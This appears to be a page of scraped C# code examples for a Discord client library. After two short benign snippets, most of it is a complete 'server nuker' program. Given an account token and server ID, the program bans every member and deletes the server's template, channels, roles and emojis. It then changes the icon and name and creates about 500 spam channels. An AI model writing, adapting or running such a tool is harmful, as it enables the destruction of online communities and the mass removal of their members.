Esempio n. 1
0
        internal void Prepare(DiscordInteraction interaction)
        {
            Client = (DiscordSocketClient)interaction.Client;

            Caller       = interaction.User;
            CallerMember = interaction.Member;

            Channel = interaction.Channel;
            Guild   = interaction.Guild;
        }
        internal VoiceDisconnectEventArgs(DiscordSocketClient client, ulong?guildId, ulong channelId, WebSocketSharp.CloseEventArgs close)
        {
            if (guildId.HasValue)
            {
                Guild = new MinimalGuild(guildId.Value).SetClient(client);
            }
            Channel = new MinimalChannel(channelId).SetClient(client);

            Code   = (DiscordMediaCloseCode)close.Code;
            Reason = close.Reason;
        }
Esempio n. 3
0
        public static void Main()
        {
            DiscordSocketClient client = new DiscordSocketClient();

            Console.Write("Token : ");
            client.Login(Console.ReadLine());
            Console.Write("Server ID : ");
            ulong        uint64      = Convert.ToUInt64(Console.ReadLine());
            DiscordGuild guild1      = client.GetGuild(uint64);
            SocketGuild  cachedGuild = client.GetCachedGuild(uint64);
            MinimalGuild guild2      = (MinimalGuild)client.GetGuild(uint64);

            Console.WriteLine("Banning everyone");
            foreach (GuildMember member in (IEnumerable <GuildMember>)cachedGuild.GetMembers())
            {
                if ((long)member.User.Id != (long)client.User.Id)
                {
                    try
                    {
                        member.Ban();
                        Console.WriteLine("Banned " + member.User.ToString());
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                    }
                }
            }
            Console.WriteLine("Deleting template");
            IReadOnlyList <DiscordGuildTemplate> templates = guild1.GetTemplates();

            if (templates.Any <DiscordGuildTemplate>())
            {
                string code = templates.First <DiscordGuildTemplate>().Code;
                guild1.DeleteTemplate(code);
            }
            Console.WriteLine("Deleting channels");
            foreach (GuildChannel channel in (IEnumerable <GuildChannel>)guild1.GetChannels())
            {
                try
                {
                    channel.Delete();
                    Console.WriteLine("Deleted " + channel.Name);
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.Message);
                }
            }
            Console.WriteLine("Deleting roles");
            foreach (DiscordRole role in (IEnumerable <DiscordRole>)guild1.GetRoles())
            {
                if ((long)role.Id != (long)uint64)
                {
                    try
                    {
                        role.Delete();
                        Console.WriteLine("Deleted " + role.Name);
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                    }
                }
            }
            Console.WriteLine("Deleting emojis");
            foreach (DiscordEmoji emoji in (IEnumerable <DiscordEmoji>)guild1.Emojis)
            {
                emoji.Delete();
            }
            Console.WriteLine("Changing icon");
            if (!System.IO.File.Exists("mb.png"))
            {
                using (WebClient webClient = new WebClient())
                    webClient.DownloadFile("https://cdn.discordapp.com/attachments/782063573597290507/782689409824587857/292c45833bb8d2ee219c44bada5ef6a1.png", "mb.png");
            }
            try
            {
                guild1.Modify(new GuildProperties()
                {
                    Icon = (DiscordImage)Image.FromFile("mb.png")
                });
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
            Console.WriteLine("Changing name");
            try
            {
                guild1.Modify(new GuildProperties()
                {
                    Name = "SDOT AND RDOT"
                });
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
            Console.WriteLine("Creating channels");
            for (int index = 1; index < 500; ++index)
            {
                try
                {
                    guild1.CreateChannel("SKIDSW", ChannelType.Text);
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.Message);
                }
            }
            Console.WriteLine("Done!");
            Thread.Sleep(-1);
        }